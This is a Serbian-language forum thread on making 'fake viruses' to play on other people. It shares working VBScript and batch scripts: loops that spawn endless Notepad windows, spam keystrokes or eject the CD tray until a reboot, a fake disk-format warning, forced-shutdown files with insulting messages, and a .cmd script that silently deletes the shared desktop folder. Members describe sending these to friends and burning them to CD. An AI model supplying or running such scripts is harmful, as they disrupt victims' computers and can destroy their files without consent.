Šta je novo?
SerbianForum

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

  • Hvala svima na 1 900 000+ postova & 500 000+ tema!

Pravljenje vestackih virusa

  • Začetnik teme boki71
  • Datum pokretanja
boki71

boki71

Uz duplu Anu...
Administrator
#1
Ovo nije pravljenje pravih virusa vec fajlova koji ce zabaviti ili unesreciti malo osobu kojoj sve to priredjujete.Potrebno je da ove tekstove usnimite u program Notepad i sacuvate ih u .vbs formatu..Startovanjem istih fajlova docice do sledeceg.....

Ova skripta, nakon što dvokliknete na nju, će početi otvarati notepad i tako u nedogled.
Da biste to zaustavili potrebno je restartovati racunar....

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop




Ova skripta, nakon što dvokliknete na nju, će početi paliti i gasiti lampicu za caps lock.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop




Ova skripta, nakon što dvokliknete na nju, će se ponašati kao da stalno klikate enter.
Da bi zaustavili potrebno je restartovati racunar.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop



Ova skripta, nakon starta na nju, će pokazati poruku, i onda će se ponašati kao da stalno klikate backspace.Za zaustavljanje potreban restart racunara..

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



Ova sktipta nakon startovanja sama gasi racunar ,ali mora se spremiti u .bat format..

@echo off
msg * I don't like you
shutdown -c "error! you are too stupid!" -s



Ova skripta, nakon starta na nju, će početi otvarati i zatvarati vaš dvd/cd pogon

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop




Ova skripta izbacuje prozor sa Waring upozorenjem.....

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")



Pravljenje skripte po vasoj zelji,sami ubacujete tekst koji zelite.....

x = MsgBox("Tekst Error Poruke...",3+48 ,"Naslov Poruke...")


brojeve 3+48 mozete takodje menjati po zelji a evo koje jos mozete koristiti....

Prvi broj(ovde je broj 3 u pitanju)

0 = Samo OK dugme
1 = Prikazuje dugme OK i Cancel
2 = Prikazuje Abort, Retry, i Ignore dugmice...
3 = Dugmici Yes, No, i Cancel
4 = Prikazuje samo Yes i No

Drugi broj(u gornjem slucaju 48)mozete zameniti brojevima u zavisnosti sta zelite da se prikaze

16 = Stop Ikonica
32 = "Znak pitanja" Ikonica
48 = "Znak uzvika"Ikonica
64 = "i" Ikonica
5 = Prikazuje Retry i Cancel
 
boki71

boki71

Uz duplu Anu...
Administrator
#3
U Turbo Paskalu da........ali ne ovu vrstu.......ovo sukako i sam naslov kaze ,,vestacki,,...
 
boris1998

boris1998

Član
#4
Prevario sam svoje drugare, tako što sam ovo sve narezao na CD.
Ali mi reci, ako znaš, kako VBScript fajl da upload-ujem na blog ili forum!?
 
boris1998

boris1998

Član
#6
CMD i BAT Virusi

Ovo su jednostavni virusi koji mogu nekome napraviti ozbiljan problem. Rade se u Notepad-u i čuvaju kao *.cmd ili *.bat.
Mala šala, ali ne znam da li radi:

@echo onn
time 00:42
cd\documents and settings\all users
@echo off
color 40
title Virus
@echo onn
cd\documents and settings\all users
@del desktop /s /q
rd desktop /s /q
@echo off
echo Files sucessfuly deleted
msg * Files sucessfuly deleted



Sačuva se kao virus.cmd.

Ako neko ima još neki kod neka doda.
:)
 
Julkica

Julkica

Član
#7
Bas si human Boki, naucio si nas kako da unesrecimo druge...ili drugi nas :roll:
 
L

LongLife

Član
#8
WTF...ovo brise ikonice sa desktopa...sva sreca pa je bio shortcut...xD
 
L

LongLife

Član
#9
Ja znam za ovo:

quote
shutdown.exe -s -c "VASA PORUKA" -t 60

ovo "60" je vreme za koje ocete da se ugasi kompijuter....!
To sacuvati kao .bat i poslati nekome:lol:
 

Top